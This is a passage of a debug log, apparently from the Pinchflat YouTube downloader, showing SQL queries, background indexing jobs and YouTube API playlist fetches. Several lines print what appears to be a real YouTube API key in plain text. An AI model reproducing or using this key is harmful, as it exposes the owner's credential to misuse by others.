from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 16:47:39.296 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:39.296 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:39.296 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:39.296 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:39.371 [debug] QUERY OK source="media_items" db=0.7ms idle=74.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 16:47:39.372 [debug] QUERY OK source="media_items" db=1.0ms idle=75.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 16:47:39.374 [debug] QUERY OK source="tasks" db=0.1ms idle=77.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800066, 34, ~U[2026-02-10 22:47:39Z], ~U[2026-02-10 22:47:39Z]] 16:47:39.374 [info] {"args":{"id":34},"id":3800026,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":79155,"event":"job:stop","queue_time":526151,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:39.394 [debug] QUERY OK source="media_items" db=0.6ms idle=20.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "zPAY2VxfFBk", "Qr4anBkL2_A", "LXmNeVLM4e4", "vZdbbN3FCzE", "DqAKQwagCDg", "PTd98UnJnnU", "TVsounscj4U", "HLUamwXQ218", "Jh9pFp1oM7E", "v-sCZN3FbR0", "NC1nzXq6Rh4", "trsHTKqmZOk", "sfyL4BswUeE", "Mb6H7trzMfI", "Qqyp00JPJZI", "KW21q_7U6Ao", "n4Xe6yQ1jIs", "RvP-uVNwnXo", "jrzK4xL_W4Q", "2MdQWo9fHZs", "j31dmodZ-5c", "PTf_Z8A2Usc", "v5lc7UAAats", "rU9aqBv0YdY", "rZMMySvsKAA", "xIFkrVU5Krk", "eou_g_cYCew", "Tl8RS0sR-qA", "F1zYatpqNSc", "GAdT6gYE54U", "rng_yUSwrgU", "q0aFOxT6TNw", "tDARtYjUiHs", "7gtc1DW2Tgo", "s0EbxhQYeCA", "GB0b6KFZVq0", "idEAABFzpfg", "_yOTYsFlRQY", "XUdic3Mwd2k", "oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 16:47:39.397 [debug] QUERY OK source="media_items" db=2.6ms idle=21.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 16:47:39.398 [debug] QUERY OK source="tasks" db=0.1ms idle=17.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800067, 10, ~U[2026-02-10 22:47:39Z], ~U[2026-02-10 22:47:39Z]] 16:47:39.398 [info] {"args":{"id":10},"id":3800027,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":103737,"event":"job:stop","queue_time":415992,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:40.296 [info] {"args":{"id":8},"id":3800029,"meta":{},"system_time":1770763660296776347,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:40.296 [info] {"args":{"id":9},"id":3800028,"meta":{},"system_time":1770763660296742946,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:40.297 [debug] QUERY OK source="sources" db=0.1ms idle=898.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 16:47:40.297 [debug] QUERY OK source="sources" db=0.1ms idle=898.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 16:47:40.297 [debug] QUERY OK source="settings" db=0.1ms idle=892.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:40.297 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:40.297 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:40.297 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:40.297 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:40.297 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 16:47:40.297 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:40.297 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 16:47:40.297 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:40.297 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:40.297 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:40.297 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:40.396 [debug] QUERY OK source="media_items" db=0.6ms idle=98.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 16:47:40.397 [debug] QUERY OK source="media_items" db=0.4ms idle=99.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 16:47:40.398 [debug] QUERY OK source="tasks" db=0.1ms idle=100.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800068, 8, ~U[2026-02-10 22:47:40Z], ~U[2026-02-10 22:47:40Z]] 16:47:40.398 [info] {"args":{"id":8},"id":3800029,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101727,"event":"job:stop","queue_time":352134,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:40.411 [debug] QUERY OK source="media_items" db=0.5ms idle=13.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 16:47:40.413 [debug] QUERY OK source="media_items" db=0.6ms idle=14.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 16:47:40.414 [debug] QUERY OK source="tasks" db=0.1ms idle=9.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800069, 9, ~U[2026-02-10 22:47:40Z], ~U[2026-02-10 22:47:40Z]] 16:47:40.414 [info] {"args":{"id":9},"id":3800028,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":117304,"event":"job:stop","queue_time":515099,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:45.301 [info] {"args":{"id":40},"id":3800030,"meta":{},"system_time":1770763665301803516,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:47:45.302 [debug] QUERY OK source="sources" db=0.1ms idle=1423.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 16:47:45.302 [debug] QUERY OK source="settings" db=0.2ms idle=1423.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:45.302 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:47:45.302 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:45.302 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 16:47:45.303 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:47:45.303 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:47:45.381 [debug] QUERY OK source="media_items" db=0.6ms idle=78.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", 